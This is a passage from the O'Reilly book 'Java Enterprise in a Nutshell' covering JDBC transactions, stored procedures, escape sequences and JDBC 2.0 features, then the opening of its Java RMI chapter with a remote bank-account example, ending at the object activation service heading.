Another issue with transactions and databases concerns when changes to the database become visible to the rest of the system. Transactions can operate at varying levels of isolation from the rest of the database. At the most isolated level, the results of all the component SQL statements become visible to the rest of the system only when the transaction is committed. In other words, nobody sees the reduced inventory before the shipping data is updated.

The Connection object in JDBC is responsible for transaction management. With JDBC, you are always using transactions in some form. By default, a new connection starts out in transaction auto-commit mode, which means that every SQL statement is executed as an individual transaction that is immediately committed to the database.

To perform a transaction that uses multiple statements, you have to call the setAutoCommit() method with a false argument. (You can check the status of auto-commit with the getAutoCommit() method.) Now you can execute the SQL statements that comprise your transaction. When you are done, you call the commit() method to commit the transaction or the rollback() method to undo it. Here's an example:

try {
  con.setAutoCommit(false);
  // run some SQL
  stmt.executeUpdate("UPDATE INVENTORY SET ONHAND = 10 WHERE ID = 5");
  stmt.executeUpdate("INSERT INTO SHIPPING (QTY) VALUES (5)");
  con.commit();
}
catch (SQLException e) {
  con.rollback(); //undo the results of the transaction
}

When auto-commit is set to false, you must remember to call commit() (or rollback()) at the end of each transaction, or your changes will be lost.

JDBC supports a number of transaction isolation modes that allow you to control how the database deals with transaction conflicts--in other words, who sees what when. JDBC defines five modes, some of which may not be supported by all databases. The default mode varies depending on the underlying database and driver. Higher isolation levels yield poorer performance. Here are the five standard options, which are defined as integer constants in the Connection interface:

TRANSACTION_NONE

Transactions are either disabled or not supported.

TRANSACTION_READ_UNCOMMITTED

Minimal transaction support that allows dirty reads. In other words, other transactions can see the results of a transaction's SQL statements before the transaction commits itself. If you roll back your transaction, other transactions may be left with invalid data.

TRANSACTION_READ_COMMITTED

Transactions are prevented from reading rows with uncommitted changes, or in other words, dirty reads are not allowed.

TRANSACTION_REPEATABLE_READ

Protects against repeatable reads as well as dirty reads. Say one transaction reads a row that is subsequently altered (and committed) by another transaction. If the first transaction reads the row again, the first transaction does not get a different value the second time around. The new data is visible to the first transaction only after it calls commit() and performs another read.

TRANSACTION_SERIALIZABLE

Provides all the support of TRANSACTION_REAPEATABLE_READ and guards against row insertions as well. Say one transaction reads a set of rows, and then another transaction adds a row to the set. If the first transaction reads the set again, it does not see the newly added row. Put another way, this level of isolation forces the database to treat transactions as if they occurred one at a time.

Transaction isolation modes are set by the setTransactionIsolation() method. For example:

con.setTransactionIsolation(TRANSACTION_READ_COMMITTED);

You can use the DatabaseMetaData class to determine the transaction support of the underlying database. The most useful methods are getDefaultTransactionIsolation(), supportsTransactions(), supportsTransactionIsolationLevel(), and supportsDataDefinitionAndDataManipulationTransactions() (which may very well be the longest method name in the Java API).

An application that uses transactions is a prime candidate for also using a connection pool (available in JDBC 2.0). Since each database transaction requires its own Connection object, an application that performs multiple simultaneous transactions (for instance, spawning threads that perform database updates) needs multiple connections available. Maintaining a pool of connections is much more efficient than creating a new one whenever you need a new transaction.

Previous | Home | Next
2.9. Metadata | Book Index | 2.11. Stored Procedures
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Stored Procedures (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.11. Stored Procedures

Most RDBMS systems include some sort of internal programming language (e.g., Oracle's PL/SQL). These languages allow database developers to embed procedural application code directly within the database and then call that code from other applications. The advantage of this approach is that the code can be written just once and then used in multiple different applications (even with different platforms and languages). It also allows application code to be divorced from the underlying table structure. If stored procedures handle all of the SQL, and applications just call the procedures, only the stored procedures need to be modified if the table structure is changed later on.

Here is an Oracle PL/SQL stored procedure:[4]

[4] If it looks familiar, that's because it is from George Reese's Database Programming with JDBC (O'Reilly).

CREATE OR REPLACE PROCEDURE sp_interest
(id IN INTEGER
bal IN OUT FLOAT) IS
BEGIN
SELECT balance
INTO bal
FROM accounts
WHERE account_id = id;

bal := bal + bal * 0.03;

UPDATE accounts
SET balance = bal
WHERE account_id = id;

END;

This PL/SQL procedure takes two input values, an account ID and a balance, and returns an updated balance.

The CallableStatement interface is the JDBC object that supports stored procedures. The Connection class has a prepareCall() method that is very similar to the prepareStatement() method we used to create a PreparedStatement. Because each database has its own syntax for accessing stored procedures, JDBC defines a standardized escape syntax for accessing stored procedures with CallableStatement. The syntax for a stored procedure that does not return a result set is:

{call procedure_name[(?[,?...])]}

The syntax for a stored procedure that returns a result is:

{? = call procedure_name[(?[,?...])]}

In this syntax, each question mark (?) represents a placeholder for a procedure parameter or a return value. Note that the parameters are optional. The JDBC driver is responsible for translating the escape syntax into the database's own stored procedure syntax.

Here's a code fragment that uses CallableStatement to run the sp_interest stored procedure:

CallableStatment cstmt = con.prepareCall("{call sp_interest(?,?)}");
cstmt.registerOutParameter(2, Types.FLOAT);
cstmt.setInt(1, accountID);
cstmt.setFloat(2, 2343.23);
cstmt.execute();
out.println("New Balance:" + cstmt.getFloat(2));

In this example, we first create a CallableStatement using the prepareCall() method and passing in the appropriate escape syntax for the stored procedure. Since this stored procedure has an output parameter (actually, in this case, an INOUT parameter, which means it also serves as an input parameter), we use the registerOutParameter() method to identify that parameter as an output of type FLOAT. Note that just as with prepared statements, substituted parameters are numbered from 1 to n, left to right. Any time you have an output parameter in a stored procedure, you need to register its type using registerOutParameter() before you execute the stored procedure.

Next we set the two input parameters, the account ID and the balance, using the appropriate setXXX() methods. Finally, we execute the stored procedure and then use the getFloat() method to display the new balance. The getXXX() methods of CallableStatement are similar to those of the ResultSet.

You need to use CallableStatement only with stored procedures that have output values, such as the one we just saw. You can use either of the other statement objects to execute stored procedures that take parameters but don't return anything.

Previous | Home | Next
2.10. Transactions | Book Index | 2.12. Escape Sequences
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Escape Sequences (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.12. Escape Sequences

Escape sequences allow JDBC programs to package certain database commands in a database-independent manner. Since different databases implement different features (especially scalar SQL functions) in different ways, in order to be truly portable, JDBC needs to provide a way to access at least a subset of that functionality in a standard way. We've already seen escape sequences twice: with the various SQL date and time functions, and with the CallableStatement object.

A JDBC escape sequences consists of a pair of curly braces, a keyword, and a set of parameters. Thus, call is the keyword for stored procedures, while d, t, and ts are keywords for dates and times. One keyword we haven't seen yet is escape. This keyword specifies the character that is used to escape wildcard characters in a LIKE statement:

stmt.executeQuery(
   "SELECT * FROM ApiDocs WHERE Field_Name like 'TRANS\_%' {escape '\'}");

Normally, the underscore ( _ ) character is treated as a single-character wildcard, while the percent sign (%) is the multiple-character wildcard. By specifying the backslash (\) as the escape character, we can match on the underscore character itself. Note that the escape keyword can also be used outside wildcard searches. For example, SQL string termination characters (such as the single quote) need to be escaped when appearing within strings.

The fn keyword allows the use of internal scalar database functions. Scalar functions are a fairly standard component of most database architectures, even though the actual implementations vary. For instance, many databases support the SOUNDEX(string) function, which translates a character string into a numerical representation of its sound. Another function, DIFFERENCE(string1,string2), computes the difference between the soundex values for two strings. If the values are close enough, you can assume the two words sound the same ("Beacon" and "Bacon"). If your database supports DIFFERENCE, you can use it by executing a SQL statement that looks like this:

{fn DIFFERENCE("Beacon", "Bacon")}

Available scalar functions differ depending on the database being used. In addition, some drivers, such as Oracle's, do not support the {fn} escape mechanism at all.

The last escape keyword is oj, which is used for outer joins. The syntax is simply:

{oj outer-join}

Outer joins are not supported by some databases and are sufficiently complex (and unrelated to the JDBC API per se) as to be beyond the scope of this chapter. For more information, consult the SQL documentation for your database.

Note that when performance is an issue, you can use the setEscapeProcessing() method of Statement to turn off escape-sequence processing.

Previous | Home | Next
2.11. Stored Procedures | Book Index | 2.13. JDBC 2.0
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JDBC 2.0 (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.13. JDBC 2.0

The original JDBC API (JDBC 1.0) was first introduced as an add-on package for JDK 1.0, and it became a part of the core Java API with Java 1.1. In May 1998, Sun released the specification for JDBC 2.0. This new version of the API provides support for extended result handling, Java-aware databases, BLOB fields, and other minor improvements. All in all, there are enough new features in JDBC 2.0 to warrant a separate section in this chapter. The new version of the API is backward-compatible; code written for JDBC 1.0 compiles and runs just fine under JDBC 2.0.

The updated API ships with Version 1.2 of the Java 2 platform and is also available for download separately. As of early 1999, there are very few JDBC 2.0-compliant drivers available, although Sun and InterSolv are working towards an updated version of the JDBC-ODBC Bridge.

2.13.1. Results Handling

With JDBC 1.0, the functionality provided by the ResultSet interface is rather limited. There is no support for updates of any kind and access to rows is limited to a single, sequential read (i.e., first row, second row, third row, etc., and no going back). JDBC 2.0 supports scrollable and updateable result sets, which allows for advanced record navigation and in-place data manipulation.

With scrolling, you can move forward and backward through the results of a query, rather than just using the next() method to move to the next row. In terms of scrolling, there are now three distinct types of ResultSet objects: forward-only (as in JDBC 1.0), scroll-insensitive, and scroll-sensitive. A scroll-insensitive result set generally does not reflect changes to the underlying data, while scroll-sensitive ones do. In fact, the number of rows in a sensitive result set does not even need to be fixed.

As of JDBC 2.0, result sets are also updateable. From this perspective, there are two different kinds of result sets: read-only result sets that do not allow changes to the underlying data and updateable result sets that allow such changes, subject to transaction limitations and so on.

To create an updateable, scroll-sensitive result set, we pass two extra arguments to the createStatement() method:

Statement stmt = con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,
                                     ResultSet.CONCUR_UPDATEABLE);

If you do not pass any arguments to createStatement(), you get a forward-only, read-only result set, just as you would using JDBC 1.0. Note that if you specify a scrollable result set (either sensitive or insensitive), you must also specify whether or not the result set is updateable. After you have created a scrollable ResultSet, use the methods listed in Table 2-2 to navigate through it. As with JDBC 1.0, when you start working with a ResultSet, you are positioned before the first row of results.

Table 2-2. JDBC 2.0 Record Scrolling Functions

Method | Function
first() | Move to the first record.
last() | Move to the last record.
next() | Move to the next record.
previous() | Move to the previous record.
beforeFirst() | Move to immediately before the first record.
afterLast() | Move to immediately after the last record.
absolute(int) | Move to an absolute row number. Takes a positive or negative argument.
relative(int) | Move backward or forward a specified number of rows. Takes a positive or negative argument.

The JDBC 2.0 API also includes a number of methods that tell you where you are in a ResultSet. You can think of your position in a ResultSet as the location of a cursor in the results. The isFirst() and isLast() methods return true if the cursor is located on the first or last record, respectively. isAfterLast() returns true if the cursor is after the last row in the result set, while isBeforeFirst() returns true if the cursor is before the first row.

With an updateable ResultSet, you can change data in an existing row, insert an entirely new row, or delete an existing row. To change data in an existing row, you use the new updateXXX() methods of ResultSet. Let's assume we want to update the CUSTOMER_ID field of the first row we retrieve (okay, it's a contrived example, but bear with me):

Statement stmt = con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,
                                     ResultSet.CONCUR_UPDATEABLE);
ResultSet rs = stmt.executeQuery("SELECT NAME, CUSTOMER_ID FROM CUSTOMERS");

rs.first();
rs.updateInt(2, 35243);
rs.updateRow();

Here we use first() to navigate to the first row of the result set and then call updateInt() to change the value of the customer ID column in the result set. After making the change, call updateRow() to actually make the change in the database. If you forget to call updateRow() before moving to another row in the result set, any changes you made are lost. If you need to make a number of changes in a single row, you can do that with multiple calls to updateXXX() methods and then a single call to updateRow(). Just be sure you call updateRow() before moving on to another row.

The technique for inserting a row is similar to updating data in an existing row, with a few important differences. The first step is to move to what is called the insert row, using the moveToInsertRow() method. The insert row is a blank row associated with the ResultSet that contains all the fields, but no data; you can think of it as a pseudo-row where you can compose a new row. After you have moved to the insert row, use updateXXX() methods to load new data into the insert row and then call insertRow() to append the new row to the ResultSet and the underlying database Here's an example that adds a new customer to the database:

ResultSet rs = stmt.executeQuery("SELECT NAME, CUSTOMER_ID FROM CUSTOMERS");
rs.moveToInsertRow();
rs.updateString(1, "Tom Flynn");
rs.updateInt(2, 35244);
rs.insertRow();

Note that you do not have to supply a value for every column, as long as the columns you omit can accept null values. If you don't specify a value for a column that cannot be null, you'll get a SQLException. After you call insertRow(), you can create another new row, or you can move back to the ResultSet using the various navigation methods shown in Table 2-2. One final navigation method that isn't listed in the table is moveToCurrentRow(). This method takes you back to where you were before you called moveToInsertRow(); it can only be called while you are in the insert row.

Deleting a row from an updateable result set is easy. Simply move to the row you want to delete and call the deleteRow() method. Here's how to delete the last record in a ResultSet:

rs.last();
rs.deleteRow();

Calling deleteRow() also deletes the row from the underlying database.

Note that not all ResultSet objects are updateable. In general, the query must reference only a single table without any joins. Due to differences in database implementations, there is no single set of requirements for what makes an updateable ResultSet.

As useful as scrollable and updateable result sets are, the JDBC 2.0 specification does not require driver vendors to support them. If you are building middleware or some other kind of system that requires interaction with a wide range of database drivers, you should avoid this functionality for the time being. The extended JDBC 2.0 DatabaseMetaData object can provide information about scrolling and concurrency support.

2.13.2. Batch Updates

The original JDBC standard isn't very efficient when it comes to loading large amounts of information into a database. Even if you use a PreparedStatement, your program still executes a separate query for each piece of data inserted. If your software is inserting 10,000 rows into the database, there may be performance problems.

The new addBatch() method of Statement allows you to lump multiple update statements as a unit and execute them at once. You call addBatch() after you create the statement and before execution:

con.setAutoCommit(false);      // If some fail, we want to rollback the rest
Statement stmt = con.createStatement();

stmt.addBatch("INSERT INTO CUSTOMERS VALUES (1, "J Smith", "617 555-1323");
stmt.addBatch("INSERT INTO CUSTOMERS VALUES (2, "A Smith", "617 555-1132");
stmt.addBatch("INSERT INTO CUSTOMERS VALUES (3, "C Smith", "617 555-1238");
stmt.addBatch("INSERT INTO CUSTOMERS VALUES (4, "K Smith", "617 555-7823");

int[] upCounts = stmt.executeBatch();
con.commit();

Notice that we turn transaction auto-commit off before creating the batch. This is because we want to roll back all the SQL statements if one or more of them fail to execute properly. After calling addBatch() multiple times to create our batch, we call executeBatch() to send the SQL statements off to the database to be executed as a batch. Batch statements are executed in the order they are added to the batch. executeBatch() returns an array of update counts, where each value in the array represents the number of rows affected by the corresponding batch statement. If you need to remove the statements from a pending batch job, you can call clearBatch(), as long as you call it before calling executeBatch().

Note that you can use only SQL statements that return an update count (e.g., CREATE, DROP, INSERT, UPDATE, DELETE) as part of a batch. If you include a statement that returns a result set, such as SELECT, you get a SQLException when you execute the batch. If one of the statements in a batch cannot be executed for some reason, executeBatch() throws a BatchUpdateException. This exception, derived from SQLException, contains an array of update counts for the batch statements that executed successfully before the exception was thrown.

The addBatch() method works slightly differently for PreparedStatement and CallableStatement objects. To use batch updating with a PreparedStatement, create the statement normally, set the input parameters, and then call the addBatch() method with no arguments. Repeat as necessary and then call executeBatch() when you're finished:

con.setAutoCommit(false);      // If some fail, we want to rollback the rest
PreparedStatement stmt = con.prepareStatement(
                         "INSERT INTO CUSTOMERS VALUES (?,?,?)");

stmt.setInt(1,1);
stmt.setString(2, "J Smith");
stmt.setString(3, "617 555-1323");
stmt.addBatch();

stmt.setInt(1,2);
stmt.setString(2, "A Smith");
stmt.setString(3, "617 555-1132");
stmt.addBatch();

int[] upCounts = stmt.executeBatch();
con.commit();

This batch functionality also works with CallableStatement objects for stored procedures. The catch is that each stored procedure must return an update count and may not take any OUT or INOUT parameters.

2.13.3. Java-Aware Databases

Java is object-oriented; relational databases are not. As a result, it's decidedly difficult to shoehorn a Java object into a stubbornly primitive-oriented database table. Luckily, the wind is changing, and newer database systems, including object-oriented database management systems (OODBMS) and Java-relational database management systems,[5] provide direct support for storing and manipulating objects. Where a regular relational database can store only a limited number of primitive types, a JDBMS system can store entire, arbitrary Java objects.

[5] This is Sun's term. I have yet to see any packages actually marketed as Java-relational databases, but many newer packages, including Personal Oracle, are capable of storing Java classes. A number of these products also use Java as a trigger language, generally in a JDBC structure.

Say we want to store a customized Java Account object in the ACCOUNTS table in a database. With a standard DBMS and JDBC 1.0, we have to pull each piece of data (account number, account holder, balance, etc.) out of the Account object and write it to a complicated database table. To get data out, we reverse the process. Short of serializing the Account object and writing it to a binary field (a rather complex operation), we're stuck with this clumsy approach.[6]

[6] There is a commercial product, called Java Blend, that automatically handles mapping objects to database records and vice versa. See http://www.javasoft.com/products/java-blend/index.html for more information.

With JDBC 2.0, the getObject() method has been extended to support these new Java-aware databases. Provided that the database supports a Java-object type, we can read the Account object just like any primitive type:

ResultSet rs = stmt.executeQuery("SELECT ACCOUNT FROM ACCOUNTS");
rs.next();
Account a = (Account)rs.getObject(1);

To store an object, we use a PreparedStatement and the setObject() method:

Account a = new Account();
// Fill in appropriate fields in Account object

PreparedStatement stmt = con.prepareStatement(
                            "INSERT INTO ACCOUNTS (ACCOUNT) VALUE (?)");
stmt.setObject(1, a);
stmt.executeUpdate();

A column that stores a Java object has a type of Types.JAVA_OBJECT. The JDBC API does not take any special steps to locate the bytecodes associated with any particular class, so you should make sure that any necessary objects can be instantiated with a call to Class.forName().

2.13.4. BLOBs and CLOBs

Binary large objects (BLOBs) and character large objects (CLOBs) store large amounts of binary or character data. Different database vendors have different names for these fields. For example, on Oracle7 systems, they are known as LONG and LONG RAW fields, while Microsoft Access refers to them as OLE object fields. Oracle8 introduces actual BLOB and CLOB types. JDBC 1.0 makes programs retrieve BLOB and CLOB data using the getBinaryStream() or getAsciiStream() methods (a third method, getUnicodeStream(), has been deprecated in favor of the new getCharacterStream() method, which returns a Reader).

In JDBC 2.0, the ResultSet interface includes getBlob() and getClob() methods, which return Blob and Clob objects, respectively. The Blob and Clob objects themselves allow access to their data via streams (the getBinaryStream() method of Blob and the getCharacterStream() method of Clob) or direct-read methods (the getBytes() method of Blob and the getSubString() method of Clob).

In addition, you can set Blob and Clob objects when you are working with a PreparedStatement, using the setBlob() and setClob() methods. There are update methods for streams, but no updateBlob() and updateClob()methods. Note that the lifespan of a Blob or Clob object is limited to the transaction that created it.

2.13.5. The JDBC Standard Extension

The javax.sql package is a standard extension for JDBC 2.0 that includes support for a variety of enterprise-development activities. For example, the standard extension lets you use JNDI for connecting to a database, making it possible to obtain the name of a database from a name service, rather than using a hardcoded name. Another key feature is the ability to treat the results of a database query as a JavaBeans component, using the RowSet interface. The PooledConnection interface offers connection-pooling functionality, so that your application can have a cache of open database connections. The standard extension also provides support for distributed transactions by allowing a JDBC driver to utilize the standard two-phase commit protocol used by the Java Transaction API (JTA), which facilitates the use of JDBC in Enterprise JavaBeans components.

Previous | Home | Next
2.12. Escape Sequences | Book Index | 3. Remote Method Invocation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Remote Method Invocation (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 3. Remote Method Invocation

Contents:

Introduction to RMI
Defining Remote Objects
Creating the Stubs and Skeletons
Accessing Remote Objects as a Client
Dynamically Loaded Classes
Remote Object Activation
RMI and Native Method Calls
RMI over IIOP

This chapter examines the Java Remote Method Invocation (RMI) API--Java's native scheme for creating and using remote objects. Java RMI provides the following elements:

  • Remote object implementations

  • Client interfaces, or stubs, to remote objects

  • A remote object registry for finding objects on the network

  • A network protocol for communication between remote objects and their client

  • A facility for automatically creating (activating) remote objects on-demand

Each of these elements (except the last one) has a Java interface defined for it within the java.rmi package and its subpackages, which comprise the RMI API. Using these interfaces, you can develop remote objects and the clients that use them to create a distributed application that resides on hosts across the network.

3.1. Introduction to RMI

RMI is the distributed object system that is built into the core Java environment. You can think of RMI as a built-in facility for Java that allows you to interact with objects that are actually running in Java virtual machines on remote hosts on the network. With RMI (and other distributed object APIs we discuss in this book), you can get a reference to an object that "lives" in a remote process and invoke methods on it as if it were a local object running within the same virtual machine as your code (hence the name, "Remote Method Invocation API").

RMI was added to the core Java API in Version 1.1 of the JDK (and enhanced for Version 1.2 of the Java 2 platform), in recognition of the critical need for support for distributed objects in distributed-application development. Prior to RMI, writing a distributed application involved basic socket programming, where a "raw" communication channel was used to pass messages and data between two remote processes. Now, with RMI and distributed objects, you can "export" an object as a remote object, so that other remote processes/agents can access it directly as a Java object. So, instead of defining a low-level message protocol and data transmission format between processes in your distributed application, you use Java interfaces as the "protocol" and the exported method arguments become the data transmission format. The distributed object system (RMI in this case) handles all the underlying networking needed to make your remote method calls work.

Java RMI is a Java-only distributed object scheme; the objects in an RMI-based distributed application have to be implemented in Java. Some other distributed object schemes, most notably CORBA, are language-independent, which means that the objects can be implemented in any language that has a defined binding. With CORBA, for example, bindings exist for C, C++, Java, Smalltalk, and Ada, among other languages.

The advantages of RMI primarily revolve around the fact that it is "Java-native." Since RMI is part of the core Java API and is built to work directly with Java objects within the Java VM, the integration of its remote object facilities into a Java application is almost seamless. You really can use RMI-enabled objects as if they live in the local Java environment. And since Java RMI is built on the assumption that both the client and server are Java objects, RMI can extend the internal garbage-collection mechanisms of the standard Java VM to provide distributed garbage collection of remotely exported objects.

If you have a distributed application with heterogeneous components, some of which are written in Java and some that aren't, you have a few choices. You can use RMI, wrapping the non-Java code with RMI-enabled Java objects using the Java Native Interface (JNI). At the end of this chapter, we discuss this first option in some detail, to give you a feeling for where it could be useful and where it wouldn't. Another option is to use another object distribution scheme, such as CORBA, that supports language-independent object interfaces. Chapter 4, "Java IDL", covers the Java interface to CORBA that is included in the Java 2 SDK. A third option involves the new RMI/IIOP functionality that allows RMI objects to communicate directly with remote CORBA objects over IIOP. We also discuss this option in some detail at the end of this chapter.

3.1.1. RMI in Action

Before we start examining the details of using RMI, let's look at a simple RMI remote object at work. We can create an Account object that represents some kind of bank account and then use RMI to export it as a remote object so that remote clients (e.g., ATMs, personal finance software running on a PC) can access it and carry out transactions.

The first step is to define the interface for our remote object. Example 3-1 shows the Account interface. You can tell that it's an RMI object because it extends the java.rmi.Remote interface. Another signal that this is meant for remote access is that each method can throw a java.rmi.RemoteException. The Account interface includes methods to get the account name and balance and to make deposits, withdrawals, and transfers.

Example 3-1. A Remote Account Interface

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

public interface Account extends Remote {
  public String getName() throws RemoteException;
  public float getBalance() throws RemoteException;
  public void withdraw(float amt) throws RemoteException;
  public void deposit(float amt) throws RemoteException;
  public void transfer(float amt, Account src) throws RemoteException;
  public void transfer(List amts, List srcs) throws RemoteException;
}

The next step is to create an implementation of this interface, which leads to the AccountImpl class shown in Example 3-2. This class implements all the methods listed in the Account interface and adds a constructor that takes the name of the new account to be created. Notice that the AccountImpl class implements the Account interface, but it also extends the java.rmi.UnicastRemoteObject class. This RMI class provides some of the basic remote functionality for server objects.

Example 3-2. Implementation of the Remote Account Interface

import java.rmi.server.UnicastRemoteObject;
import java.rmi.RemoteException;
import java.util.List;
import java.util.ListIterator;

public class AccountImpl extends UnicastRemoteObject implements Account {
  private float mBalance = 0;
  private String mName = "";

  // Create a new account with the given name
  public AccountImpl(String name) throws RemoteException {
    mName = name;
  }

  public String getName() throws RemoteException {
    return mName;
  }
  public float getBalance() throws RemoteException {
    return mBalance;
  }

  // Withdraw some funds
  public void withdraw(float amt) throws RemoteException {
    mBalance -= amt;
    // Make sure balance never drops below zero
    mBalance = Math.max(mBalance, 0);
  }

  // Deposit some funds
  public void deposit(float amt) throws RemoteException {
    mBalance += amt;
  }

  // Move some funds from another (remote) account into this one
  public void transfer(float amt, Account src) throws RemoteException {
    src.withdraw(amt);
    this.deposit(amt);
  }

  // Make several transfers from other (remote) accounts into this one
  public void transfer(List amts, List srcs) throws RemoteException {
    ListIterator amtCurs = amts.listIterator();
    ListIterator srcCurs = srcs.listIterator();
    // Iterate through the accounts and the amounts to be transferred from
    // each (assumes amounts are given as Float objects)
    while (amtCurs.hasNext() && srcCurs.hasNext()) {
      Float amt = (Float)amtCurs.next();
      Account src = (Account)srcCurs.next();
      this.transfer(amt.floatValue(), src);
    }
  }
}

Once the remote interface and an implementation of it are complete, you need to compile both Java files with your favorite Java compiler. After this is done, you use the RMI stub/skeleton compiler to generate a client stub and a server skeleton for the AccountImpl object. The stub and skeleton handle the communication between the client application and the server object. With Sun's Java SDK, the RMI compiler is called rmic, and you can invoke it for this example like so:

% rmic -d /home/classes AccountImpl

The stub and skeleton classes are generated and stored in the directory given by the -d option (/home/classes, in this case). This example assumes that the AccountImpl class is already in your CLASSPATH before you run the RMI compiler.

There's just one more thing we need to do before we can actually use our remote object: register it with an RMI registry, so that remote clients can find it on the network. The utility class that follows, RegAccount, does this by creating an AccountImpl object and then binding it to a name in the local registry using the java.rmi.Naming interface. After it's done registering the object, the class goes into a wait(), which allows remote clients to connect to the remote object:

import java.rmi.Naming;

public class RegAccount {
  public static void main(String argv[]) {
    try {
      // Make an Account with a given name
      AccountImpl acct = new AccountImpl("JimF");

      // Register it with the local naming registry
      Naming.rebind("JimF", acct);
      System.out.println("Registered account.");
    }
    catch (Exception e) {
      e.printStackTrace();

    }
  }
}

After you compile the RegAccount class, you can run its main() method to register an Account with the local RMI registry. First, however, you need to start the registry. With Sun's Java SDK, the registry can be started using the rmiregistry utility. On a Unix machine, this can be done like so:

objhost% rmiregistry &

Once the registry is started, you can invoke the main() method on the RegAccount class simply by running it:

objhost% java RegAccount
Registered account.

Now we have a remote Account object that is ready and waiting for a client to access it and call its methods. The following client code does just this, by first looking up the remote Account object using the java.rmi.Naming interface (and assuming that the Account object was registered on a machine named objhost.org), and then calling the deposit method on the Account object:

import java.rmi.Naming;

public class AccountClient {
  public static void main(String argv[]) {
    try {
      // Lookup account object
      Account jimAcct = (Account)Naming.lookup("rmi://objhost.org/JimF");

      // Make deposit
      jimAcct.deposit(12000);

      // Report results and balance.
      System.out.println("Deposited 12,000 into account owned by " +
                         jimAcct.getName());
      System.out.println("Balance now totals: " + jimAcct.getBalance());
    }
    catch (Exception e) {
      System.out.println("Error while looking up account:");
      e.printStackTrace();
    }
  }
}

The first time you run this client, here's what you'd do:

% java AccountClient
Deposited 12,000 into account owned by JimF
Balance now totals: 12000.0

For the sake of this example, I've assumed that the client process is running on a machine with all the necessary classes available locally (the Account interface and the stub and skeleton classes generated from the AccountImpl implementation). Later in the chapter, we'll see how to deal with loading these classes remotely when the client doesn't have them locally.

3.1.2. RMI Architecture

Now that we've seen a complete example of an RMI object in action, let's look at what makes remote objects work, starting with an overview of the underlying RMI architecture. There are three layers that comprise the basic remote-object communication facilities in RMI:

  • The stub/skeleton layer, which provides the interface that client and server application objects use to interact with each other.

  • The remote reference layer, which is the middleware between the stub/skeleton layer and the underlying transport protocol. This layer handles the creation and management of remote object references.

  • The transport protocol layer, which is the binary data protocol that sends remote object requests over the wire.

These layers interact with each other as shown in Figure 3-1. In this figure, the server is the application that provides remotely accessible objects, while the client is any remote application that communicates with these server objects.

In a distributed object system, the distinctions between clients and servers can get pretty blurry at times. Consider the case where one process registers a remote-enabled object with the RMI naming service, and a number of remote processes are accessing it. We might be tempted to call the first process the server and the other processes the clients. But what if one of the clients calls a method on the remote object, passing a reference to an RMI object that's local to the client. Now the server has a reference to and is using an object exported from the client, which turns the tables somewhat. The "server" is really the server for one object and the client of another object, and the "client" is a client and a server, too. For the sake of discussion, I'll refer to a process in a distributed application as a server or client if its role in the overall system is generally limited to one or the other. In peer-to-peer systems, where there is no clear client or server, I'll refer to elements of the system in terms of application-specific roles (e.g., chat participant, chat facilitator).

Figure 3-1. The RMI runtime architecture

As you can see in Figure 3-1, a client makes a request of a remote object using a client-side stub; the server object receives this request from a server-side object skeleton. A client initiates a remote method invocation by calling a method on a stub object. The stub maintains an internal reference to the remote object it represents and forwards the method invocation request through the remote reference layer by marshalling the method arguments into serialized form and asking the remote reference layer to forward the method request and arguments to the appropriate remote object. Marshalling involves converting local objects into portable form so that they can be transmitted to a remote process. Each object is checked as it is marshaled, to determine whether it implements the java.rmi.Remote interface. If it does, its remote reference is used as its marshaled data. If it isn't a Remote object, the argument is serialized into bytes that are sent to the remote host and reconstituted into a copy of the local object. If the argument is neither Remote nor Serializable, the stub throws a java.rmi.MarshalException back to the client.

If the marshalling of method arguments succeeds, the client-side remote reference layer receives the remote reference and marshaled arguments from the stub. This layer converts the client request into low-level RMI transport requests according to the type of remote object communication being used. In RMI, remote objects can (potentially) run under several different communication styles, such as point-to-point object references, replicated objects, or multicast objects. The remote reference layer is responsible for knowing which communication style is in effect for a given remote object and generating the corresponding transport-level requests. In the current version of RMI (Version 1.2 of Java 2), the only communication style provided out of the box is point-to-point object references, so this is the only style we'll discuss in this chapter. For a point-to-point communication, the remote reference layer constructs a single network-level request and sends it over the wire to the sole remote object that corresponds to the remote reference passed along with the request.

On the server, the server-side remote reference layer receives the transport-level request and converts it into a request for the server skeleton that matches the referenced object. The skeleton converts the remote request into the appropriate method call on the actual server object, which involves unmarshalling the method arguments into the server environment and passing them to the server object. As you might expect, unmarshalling is the inverse procedure to the marshalling process on the client. Arguments sent as remote references are converted into local stubs on the server, and arguments sent as serialized objects are converted into local copies of the originals.

If the method call generates a return value or an exception, the skeleton marshals the object for transport back to the client and forwards it through the server reference layer. This result is sent back using the appropriate transport protocol, where it passes through the client reference layer and stub, is unmarshaled by the stub, and is finally handed back to the client thread that invoked the remote method.

3.1.3. RMI Object Services

On top of its remote object architecture, RMI provides some basic object services you can use in your distributed application. These include an object naming/registry service, a remote object activation service, and distributed garbage collection.

3.1.3.1. Naming/registry service

When a server process wants to export some RMI-based service to clients, it does so by registering one or more RMI-enabled objects with its local RMI registry (represented by the Registry interface). Each object is registered with a name clients can use to reference it. A client can obtain a stub reference to the remote object by asking for the object by name through the Naming interface. The Naming.lookup() method takes the fully qualified name of a remote object and locates the object on the network. The object's fully qualified name is in a URL-like syntax that includes the name of the object's host and the object's registered name.

It's important to note that, although the Naming interface is a default naming service provided with RMI, the RMI registry can be tied into other naming services by vendors. Sun has provided a binding to the RMI registry through the Java Naming and Directory Interface ( JNDI), for example. See Chapter 6, "JNDI", for more details on how JNDI can be used to look up objects (remote or otherwise).

Once the lookup() method locates the object's host, it consults the RMI registry on that host and asks for the object by name. If the registry finds the object, it generates a remote reference to the object and delivers it to the client process, where it is converted into a stub reference that is returned to the caller. Once the client has a remote reference to the server object, communication between the client and the server commences as described earlier. We'll talk in more detail about the Naming and Registry interfaces later in this chapter.

3.1.3.2. Object activation service

